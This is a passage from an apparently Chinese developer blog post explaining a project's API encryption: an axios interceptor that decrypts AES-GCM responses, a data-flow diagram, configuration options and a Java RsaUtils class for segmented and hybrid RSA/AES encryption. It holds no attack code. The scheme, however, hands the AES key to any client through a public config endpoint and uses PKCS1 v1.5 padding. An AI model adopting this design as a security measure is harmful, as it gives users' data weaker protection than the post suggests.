function_">decryptResponseData</span>(<span class="hljs-params"><span class="hljs-attr">data</span>: <span class="hljs-built_in">string</span></span>): <span class="hljs-title class_">Promise</span>&lt;<span class="hljs-built_in">any</span>&gt; &#123;<br>  <span class="hljs-keyword">const</span> config = <span class="hljs-keyword">await</span> <span class="hljs-title function_">fetchCryptoConfig</span>()<br>  <br>  <span class="hljs-keyword">if</span> (!config.<span class="hljs-property">aesKey</span>) &#123;<br>    <span class="hljs-keyword">return</span> data<br>  &#125;<br>  <br>  <span class="hljs-keyword">try</span> &#123;<br>    <span class="hljs-keyword">const</span> decryptedStr = <span class="hljs-keyword">await</span> <span class="hljs-title function_">aesDecrypt</span>(data, config.<span class="hljs-property">aesKey</span>)<br>    <span class="hljs-keyword">return</span> <span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">parse</span>(decryptedStr)<br>  &#125; <span class="hljs-keyword">catch</span> (error) &#123;<br>    <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">error</span>(<span class="hljs-string">&#x27;响应解密失败&#x27;</span>, error)<br>    <span class="hljs-comment">// 解密失败可能是密钥过期，清除缓存</span><br>    cryptoConfigCache = <span class="hljs-literal">null</span><br>    <span class="hljs-keyword">return</span> data<br>  &#125;<br>&#125;<br><br><span class="hljs-comment">// 响应拦截器</span><br>service.<span class="hljs-property">interceptors</span>.<span class="hljs-property">response</span>.<span class="hljs-title function_">use</span>(<br>  <span class="hljs-title function_">async</span> (<span class="hljs-attr">response</span>: <span class="hljs-title class_">AxiosResponse</span>&lt;<span class="hljs-title class_">ApiResponse</span>&gt;) =&gt; &#123;<br>    <span class="hljs-keyword">const</span> res = response.<span class="hljs-property">data</span><br>    <br>    <span class="hljs-keyword">if</span> (res.<span class="hljs-property">code</span> !== <span class="hljs-number">200</span>) &#123;<br>      <span class="hljs-comment">// 错误处理...</span><br>      <span class="hljs-keyword">return</span> <span class="hljs-title class_">Promise</span>.<span class="hljs-title function_">reject</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(res.<span class="hljs-property">message</span> || <span class="hljs-string">&#x27;请求失败&#x27;</span>))<br>    &#125;<br>    <br>    <span class="hljs-comment">// 检查响应数据是否是AES加密的，自动解密</span><br>    <span class="hljs-keyword">if</span> (<span class="hljs-title function_">isAesEncryptedData</span>(res.<span class="hljs-property">data</span>)) &#123;<br>      <span class="hljs-keyword">try</span> &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> <span class="hljs-title function_">decryptResponseData</span>(res.<span class="hljs-property">data</span>)<br>      &#125; <span class="hljs-keyword">catch</span> (error) &#123;<br>        <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">error</span>(<span class="hljs-string">&#x27;解密响应失败&#x27;</span>, error)<br>        <span class="hljs-keyword">return</span> res.<span class="hljs-property">data</span><br>      &#125;<br>    &#125;<br>    <br>    <span class="hljs-keyword">return</span> res.<span class="hljs-property">data</span><br>  &#125;,<br>  <span class="hljs-function">(<span class="hljs-params">error</span>) =&gt;</span> &#123;<br>    <span class="hljs-keyword">const</span> message = error.<span class="hljs-property">response</span>?.<span class="hljs-property">data</span>?.<span class="hljs-property">message</span> || error.<span class="hljs-property">message</span> || <span class="hljs-string">&#x27;网络错误&#x27;</span><br>    <span class="hljs-variable language_">window</span>.<span class="hljs-property">$message</span>?.<span class="hljs-title function_">error</span>(message)<br>    <span class="hljs-keyword">return</span> <span class="hljs-title class_">Promise</span>.<span class="hljs-title function_">reject</span>(error)<br>  &#125;<br>)<br></code></pre></td></tr></table></figure><p><strong>判断逻辑</strong>：数据是字符串，按 <code>.</code> 分割为 2 段，第一段（IV）Base64 解码后长度为 12 字节（编码后 16 字符），两段都是合法 Base64。</p><hr><h2 id="完整数据流图"><a href="#完整数据流图" class="headerlink" title="完整数据流图"></a>完整数据流图</h2><figure class="highlight nestedtext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs nestedtext"><span class="hljs-attribute">┌──────────────────────────────────────────────────────────────────┐</span><br><span class="hljs-attribute">│                          启动阶段                                 │</span><br><span class="hljs-attribute">│  CryptoServiceImpl.init()                                        │</span><br><span class="hljs-attribute">│    ├── loadKeys()        → 从 DB 加载 RSA 密钥（无则自动生成）     │</span><br><span class="hljs-attribute">│    └── generateAesKey()  → 随机生成 AES-256 密钥                  │</span><br><span class="hljs-attribute">└──────────────────────────────────────────────────────────────────┘</span><br><span class="hljs-attribute"></span><br><span class="hljs-attribute">┌──────────────────────────────────────────────────────────────────┐</span><br><span class="hljs-attribute">│                      前端获取加密配置                              │</span><br><span class="hljs-attribute">│  GET /api/crypto/config                                          │</span><br><span class="hljs-attribute">│  响应</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&#123; enabled: true, publicKey: &quot;...&quot;, aesKey: &quot;...&quot; &#125;        │</span><br><span class="hljs-attribute">│  前端缓存配置，后续请求复用                                        │</span><br><span class="hljs-attribute">└──────────────────────────────────────────────────────────────────┘</span><br><span class="hljs-attribute"></span><br><span class="hljs-attribute">┌──────────────────────────────────────────────────────────────────┐</span><br><span class="hljs-attribute">│                    请求加密（前端 → 后端）                         │</span><br><span class="hljs-attribute">│                                                                   │</span><br><span class="hljs-attribute">│  前端</span><span class="hljs-punctuation">:</span> <span class="hljs-string"> password → RSA公钥加密 → Base64 字符串                    │</span><br><span class="hljs-attribute">│                         ↓                                         │</span><br><span class="hljs-attribute">│  后端</span><span class="hljs-punctuation">:</span> <span class="hljs-string"> DecryptRequestBodyAdvice                                  │</span><br><span class="hljs-attribute">│         ├── encryptedData 字段? → RSA私钥整体解密                 │</span><br><span class="hljs-attribute">│         └── password 等字段?    → RSA私钥逐字段解密               │</span><br><span class="hljs-attribute">└──────────────────────────────────────────────────────────────────┘</span><br><span class="hljs-attribute"></span><br><span class="hljs-attribute">┌──────────────────────────────────────────────────────────────────┐</span><br><span class="hljs-attribute">│                    响应加密（后端 → 前端）                         │</span><br><span class="hljs-attribute">│                                                                   │</span><br><span class="hljs-attribute">│  后端</span><span class="hljs-punctuation">:</span> <span class="hljs-string"> EncryptResponseBodyAdvice                                 │</span><br><span class="hljs-attribute">│         ├── 全局模式</span><span class="hljs-punctuation">:</span> <span class="hljs-string">排除白名单后全部 AES-GCM 加密               │</span><br><span class="hljs-attribute">│         └── 局部模式</span><span class="hljs-punctuation">:</span> <span class="hljs-string">仅 @EncryptResponse 标注的方法              │</span><br><span class="hljs-attribute">│         输出</span><span class="hljs-punctuation">:</span> <span class="hljs-string">Base64(IV).Base64(密文)                             │</span><br><span class="hljs-attribute">│                         ↓                                         │</span><br><span class="hljs-attribute">│  前端</span><span class="hljs-punctuation">:</span> <span class="hljs-string"> 响应拦截器检测格式 → Web Crypto API AES-GCM 解密          │</span><br>│         → JSON.parse() → 返回给业务代码                           │<br>└──────────────────────────────────────────────────────────────────┘<br></code></pre></td></tr></table></figure><hr><h2 id="配置说明"><a href="#配置说明" class="headerlink" title="配置说明"></a>配置说明</h2><p>在系统管理后台的 <strong>系统配置 → security 分组</strong> 中设置：</p><table><thead><tr><th>配置项</th><th>值</th><th>说明</th></tr></thead><tbody><tr><td><code>encryptEnabled</code></td><td><code>true</code> &#x2F; <code>false</code></td><td>是否启用接口加密</td></tr><tr><td><code>encryptScope</code></td><td><code>&quot;global&quot;</code> &#x2F; <code>&quot;partial&quot;</code></td><td>加密范围</td></tr><tr><td><code>encryptPublicKey</code></td><td>RSA 公钥 Base64</td><td>留空则自动生成</td></tr><tr><td><code>encryptPrivateKey</code></td><td>RSA 私钥 Base64</td><td>留空则自动生成</td></tr></tbody></table><hr><h2 id="RsaUtils-工具类详解"><a href="#RsaUtils-工具类详解" class="headerlink" title="RsaUtils 工具类详解"></a>RsaUtils 工具类详解</h2><p>位于 <code>mars-common/src/main/java/com/mars/common/util/RsaUtils.java</code>，提供三类能力：</p><h3 id="基础-RSA-加解密（支持分段）"><a href="#基础-RSA-加解密（支持分段）" class="headerlink" title="基础 RSA 加解密（支持分段）"></a>基础 RSA 加解密（支持分段）</h3><p>RSA 2048 位密钥单次加密上限为 245 字节（256 - 11 填充），工具类通过分段处理支持大数据：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">RsaUtils</span> &#123;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">String</span> <span class="hljs-variable">RSA_ALGORITHM</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;RSA&quot;</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">String</span> <span class="hljs-variable">RSA_TRANSFORMATION</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;RSA/ECB/PKCS1Padding&quot;</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">int</span> <span class="hljs-variable">KEY_SIZE</span> <span class="hljs-operator">=</span> <span class="hljs-number">2048</span>;<br>    <br>    <span class="hljs-comment">// RSA加密最大块大小（2048位密钥 = 256字节，减去11字节填充）</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">int</span> <span class="hljs-variable">MAX_ENCRYPT_BLOCK</span> <span class="hljs-operator">=</span> <span class="hljs-number">245</span>;<br>    <span class="hljs-comment">// RSA解密最大块大小</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">int</span> <span class="hljs-variable">MAX_DECRYPT_BLOCK</span> <span class="hljs-operator">=</span> <span class="hljs-number">256</span>;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 生成RSA密钥对</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Map&lt;String, String&gt; <span class="hljs-title function_">generateKeyPair</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">KeyPairGenerator</span> <span class="hljs-variable">keyPairGenerator</span> <span class="hljs-operator">=</span> KeyPairGenerator.getInstance(RSA_ALGORITHM);<br>        keyPairGenerator.initialize(KEY_SIZE, <span class="hljs-keyword">new</span> <span class="hljs-title class_">SecureRandom</span>());<br>        <span class="hljs-type">KeyPair</span> <span class="hljs-variable">keyPair</span> <span class="hljs-operator">=</span> keyPairGenerator.generateKeyPair();<br><br>        <span class="hljs-type">String</span> <span class="hljs-variable">publicKey</span> <span class="hljs-operator">=</span> Base64.getEncoder().encodeToString(keyPair.getPublic().getEncoded());<br>        <span class="hljs-type">String</span> <span class="hljs-variable">privateKey</span> <span class="hljs-operator">=</span> Base64.getEncoder().encodeToString(keyPair.getPrivate().getEncoded());<br><br>        Map&lt;String, String&gt; keyMap = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span>&lt;&gt;();<br>        keyMap.put(PUBLIC_KEY, publicKey);<br>        keyMap.put(PRIVATE_KEY, privateKey);<br>        <span class="hljs-keyword">return</span> keyMap;<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 公钥加密（支持分段加密大数据）</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title function_">encryptByPublicKey</span><span class="hljs-params">(String data, String publicKeyStr)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">byte</span>[] keyBytes = Base64.getDecoder().decode(publicKeyStr);<br>        <span class="hljs-type">X509EncodedKeySpec</span> <span class="hljs-variable">keySpec</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">X509EncodedKeySpec</span>(keyBytes);<br>        <span class="hljs-type">KeyFactory</span> <span class="hljs-variable">keyFactory</span> <span class="hljs-operator">=</span> KeyFactory.getInstance(RSA_ALGORITHM);<br>        <span class="hljs-type">PublicKey</span> <span class="hljs-variable">publicKey</span> <span class="hljs-operator">=</span> keyFactory.generatePublic(keySpec);<br><br>        <span class="hljs-type">byte</span>[] dataBytes = data.getBytes(StandardCharsets.UTF_8);<br>        <span class="hljs-type">byte</span>[] encryptedData = segmentEncrypt(dataBytes, publicKey, Cipher.ENCRYPT_MODE);<br>        <span class="hljs-keyword">return</span> Base64.getEncoder().encodeToString(encryptedData);<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 私钥解密（支持分段解密大数据）</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title function_">decryptByPrivateKey</span><span class="hljs-params">(String encryptedData, String privateKeyStr)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">byte</span>[] keyBytes = Base64.getDecoder().decode(privateKeyStr);<br>        <span class="hljs-type">PKCS8EncodedKeySpec</span> <span class="hljs-variable">keySpec</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">PKCS8EncodedKeySpec</span>(keyBytes);<br>        <span class="hljs-type">KeyFactory</span> <span class="hljs-variable">keyFactory</span> <span class="hljs-operator">=</span> KeyFactory.getInstance(RSA_ALGORITHM);<br>        <span class="hljs-type">PrivateKey</span> <span class="hljs-variable">privateKey</span> <span class="hljs-operator">=</span> keyFactory.generatePrivate(keySpec);<br><br>        <span class="hljs-type">byte</span>[] dataBytes = Base64.getDecoder().decode(encryptedData);<br>        <span class="hljs-type">byte</span>[] decryptedData = segmentDecrypt(dataBytes, privateKey, Cipher.DECRYPT_MODE);<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(decryptedData, StandardCharsets.UTF_8);<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 分段加密</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-type">byte</span>[] segmentEncrypt(<span class="hljs-type">byte</span>[] data, Key key, <span class="hljs-type">int</span> mode) <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">Cipher</span> <span class="hljs-variable">cipher</span> <span class="hljs-operator">=</span> Cipher.getInstance(RSA_TRANSFORMATION);<br>        cipher.init(mode, key);<br>        <br>        <span class="hljs-type">int</span> <span class="hljs-variable">inputLen</span> <span class="hljs-operator">=</span> data.length;<br>        <span class="hljs-type">ByteArrayOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ByteArrayOutputStream</span>();<br>        <span class="hljs-type">int</span> <span class="hljs-variable">offset</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;<br>        <span class="hljs-type">byte</span>[] cache;<br>        <span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;<br>        <br>        <span class="hljs-keyword">while</span> (inputLen - offset &gt; <span class="hljs-number">0</span>) &#123;<br>            <span class="hljs-keyword">if</span> (inputLen - offset &gt; MAX_ENCRYPT_BLOCK) &#123;<br>                cache = cipher.doFinal(data, offset, MAX_ENCRYPT_BLOCK);<br>            &#125; <span class="hljs-keyword">else</span> &#123;<br>                cache = cipher.doFinal(data, offset, inputLen - offset);<br>            &#125;<br>            out.write(cache, <span class="hljs-number">0</span>, cache.length);<br>            i++;<br>            offset = i * MAX_ENCRYPT_BLOCK;<br>        &#125;<br>        <br>        <span class="hljs-type">byte</span>[] encryptedData = out.toByteArray();<br>        out.close();<br>        <span class="hljs-keyword">return</span> encryptedData;<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 分段解密</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-type">byte</span>[] segmentDecrypt(<span class="hljs-type">byte</span>[] data, Key key, <span class="hljs-type">int</span> mode) <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">Cipher</span> <span class="hljs-variable">cipher</span> <span class="hljs-operator">=</span> Cipher.getInstance(RSA_TRANSFORMATION);<br>        cipher.init(mode, key);<br>        <br>        <span class="hljs-type">int</span> <span class="hljs-variable">inputLen</span> <span class="hljs-operator">=</span> data.length;<br>        <span class="hljs-type">ByteArrayOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ByteArrayOutputStream</span>();<br>        <span class="hljs-type">int</span> <span class="hljs-variable">offset</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;<br>        <span class="hljs-type">byte</span>[] cache;<br>        <span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;<br>        <br>        <span class="hljs-keyword">while</span> (inputLen - offset &gt; <span class="hljs-number">0</span>) &#123;<br>            <span class="hljs-keyword">if</span> (inputLen - offset &gt; MAX_DECRYPT_BLOCK) &#123;<br>                cache = cipher.doFinal(data, offset, MAX_DECRYPT_BLOCK);<br>            &#125; <span class="hljs-keyword">else</span> &#123;<br>                cache = cipher.doFinal(data, offset, inputLen - offset);<br>            &#125;<br>            out.write(cache, <span class="hljs-number">0</span>, cache.length);<br>            i++;<br>            offset = i * MAX_DECRYPT_BLOCK;<br>        &#125;<br>        <br>        <span class="hljs-type">byte</span>[] decryptedData = out.toByteArray();<br>        out.close();<br>        <span class="hljs-keyword">return</span> decryptedData;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td><code>encryptByPublicKey()</code></td><td>公钥加密，分段处理，每段 245 字节</td></tr><tr><td><code>decryptByPrivateKey()</code></td><td>私钥解密，分段处理，每段 256 字节</td></tr><tr><td><code>encryptByPrivateKey()</code></td><td>私钥加密（用于签名场景）</td></tr><tr><td><code>decryptByPublicKey()</code></td><td>公钥解密（用于验签场景）</td></tr></tbody></table><h3 id="混合加密（AES-RSA）"><a href="#混合加密（AES-RSA）" class="headerlink" title="混合加密（AES + RSA）"></a>混合加密（AES + RSA）</h3><p>适用于大数据加密场景，格式为 <code>Base64(RSA加密的AES密钥).Base64(IV).Base64(AES密文)</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 混合加密（AES加密数据，RSA加密AES密钥）</span><br><span class="hljs-comment"> * 返回格式：Base64(RSA加密的AES密钥) + &quot;.&quot; + Base64(IV) + &quot;.&quot; + Base64(AES加密的数据)</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title function_">hybridEncrypt</span><span class="hljs-params">(String data, String publicKeyStr)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>    <span class="hljs-comment">// 生成AES密钥</span><br>    <span class="hljs-type">KeyGenerator</span> <span class="hljs-variable">keyGen</span> <span class="hljs-operator">=</span> KeyGenerator.getInstance(AES_ALGORITHM);<br>    keyGen.init(AES_KEY_SIZE, <span class="hljs-keyword">new</span> <span class="hljs-title class_">SecureRandom</span>());<br>    <span class="hljs-type">SecretKey</span> <span class="hljs-variable">aesKey</span> <span class="hljs-operator">=</span> keyGen.generateKey();<br>    <br>    <span class="hljs-comment">// 生成IV</span><br>    <span class="hljs-type">byte</span>[] iv = <span class="hljs-keyword">new</span> <span class="hljs-title class_">byte</span>[GCM_IV_LENGTH];<br>    <span class="hljs-keyword">new</span> <span class="hljs-title class_">SecureRandom</span>().nextBytes(iv);<br>    <br>    <span class="hljs-comment">// AES加密数据</span><br>    <span class="hljs-type">Cipher</span> <span class="hljs-variable">aesCipher</span> <span class="hljs-operator">=</span> Cipher.getInstance(AES_TRANSFORMATION);<br>    <span class="hljs-type">GCMParameterSpec</span> <span class="hljs-variable">gcmSpec</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">GCMParameterSpec</span>(GCM_TAG_LENGTH, iv);<br>    aesCipher.init(Cipher.ENCRYPT_MODE, aesKey, gcmSpec);<br>    <span class="hljs-type">byte</span>[] encryptedData = aesCipher.doFinal(data.getBytes(StandardCharsets.UTF_8));<br>    <br>    <span class="hljs-comment">// RSA加密AES密钥</span><br>    <span class="hljs-type">String</span> <span class="hljs-variable">encryptedAesKey</span> <span class="hljs-operator">=</span> encryptByPublicKey(<br>        Base64.getEncoder().encodeToString(aesKey.getEncoded()), <br>        publicKeyStr<br>    );<br>    <br>    <span class="hljs-comment">// 组合结果</span><br>    <span class="hljs-keyword">return</span> encryptedAesKey + <span class="hljs-string">&quot;.&quot;</span> + <br>           Base64.getEncoder().encodeToString(iv) + <span class="hljs-string">&quot;.&quot;</span> + <br>           Base64.getEncoder().encodeToString(encryptedData);<br>&#125;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 混合解密</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title function_">hybridDecrypt</span><span class="hljs-params">(String encryptedData, String privateKeyStr)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>    String[] parts = encryptedData.split(<span class="hljs-string">&quot;\\.&quot;</span>);<br>    <span class="hljs-keyword">if</span> (parts.length != <span class="hljs-number">3</span>) &#123;<br>        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IllegalArgumentException</span>(<span class="hljs-string">&quot;加密数据格式错误&quot;</span>);<br>    &#125;<br>    <br>    <span class="hljs-type">String</span> <span class="hljs-variable">encryptedAesKey</span> <span class="hljs-operator">=</span> parts[<span class="hljs-number">0</span>];<br>    <span class="hljs-type">byte</span>[] iv = Base64.getDecoder().decode(parts[<span class="hljs-number">1</span>]);<br>    <span class="hljs-type">byte</span>[] data = Base64.getDecoder().decode(parts[<span class="hljs-number">2</span>]);<br>    <br>    <span class="hljs-comment">// RSA解密AES密钥</span><br>    <span class="hljs-type">String</span> <span class="hljs-variable">aesKeyStr</span> <span class="hljs-operator">=</span> decryptByPrivateKey(encryptedAesKey, privateKeyStr);<br>    <span class="hljs-type">byte</span>[] aesKeyBytes = Base64.getDecoder().decode(aesKeyStr);<br>    <span class="hljs-type">SecretKey</span> <span class="hljs-variable">aesKey</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">SecretKeySpec</span>(aesKeyBytes, AES_ALGORITHM);<br>    <br>    <span class="hljs-comment">// AES解密数据</span><br>    <span class="hljs-type">Cipher</span> <span class="hljs-variable">aesCipher</span> <span class="hljs-operator">=</span> Cipher.getInstance(AES_TRANSFORMATION);<br>    <span class="hljs-type">GCMParameterSpec</span> <span class="hljs-variable">gcmSpec</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">GCMParameterSpec</span>(GCM_TAG_LENGTH, iv);<br>    aesCipher.init(Cipher.DECRYPT_MODE, aesKey, gcmSpec);<br>    <span class="hljs-type">byte</span>[] decryptedData = aesCipher.doFinal(data);<br>    <br>    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(decryptedData, StandardCharsets.UTF_8);<br>&#125;<br></code></pre></td></tr></table></figure><table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td><code>hybridEncrypt()</code></td><td>生成随机 AES 密钥 → AES-GCM 加密数据 → RSA 加密 AES 密钥</td></tr><tr><td><code>hybridDecrypt()</code></td><td>RSA 解密 AES 密钥 → AES-GCM 解密数据</td></tr></tbody></table><h3 id="算法参数"><a href="#算法参数" class="headerlink" title="算法参数"></a>算法参数</h3><table><thead><tr><th>参数</th><th>值</th><th>说明</th></tr></thead><tbody><tr><td>RSA 密钥长度</td><td>2048 位</td><td>安全强度足够</td></tr><tr><td>RSA 填充</td><td>PKCS1Padding</td><td>兼容性好</td></tr><tr><td>AES 密钥长度</td><td>256 位</td><td>最高安全等级</td></tr><tr><td>AES 模式</td><td>GCM（Galois&#x2F;Counter Mode）</td><td>同时提供加密和完整性校验</td></tr><tr><td>GCM IV 长度</td><td>12 字节</td><td>NIST 推荐长度</td></tr><tr><td>GCM Tag 长度</td><td>128 位</td><td>完整性校验标签</td></tr></tbody></table><hr><h2 id="学习路线建议"><a href="#学习路线建议" class="headerlink" title="学习路线建议"></a>学习路线建议</h2><ol><li><strong>先看配置接口</strong> — <code>CryptoController.java</code> 了解前端如何获取加密参数</li><li><strong>理解密钥管理</strong> — <code>CryptoServiceImpl.java</code> 看 <code>init()</code>、<code>loadKeys()</code>、<code>generateAesKey()</code></li><li><strong>跟踪响应加密</strong> — <code>EncryptResponseBodyAdvice.java</code> → <code>encryptResponse()</code> 方法</li><li><strong>跟踪请求解密</strong> — <code>DecryptRequestBodyAdvice.java</code> → <code>beforeBodyRead()</code> 方法</li><li><strong>前端对照</strong> — <code>crypto.ts</code>（RSA 加密）和 <code>request.ts</code>（AES 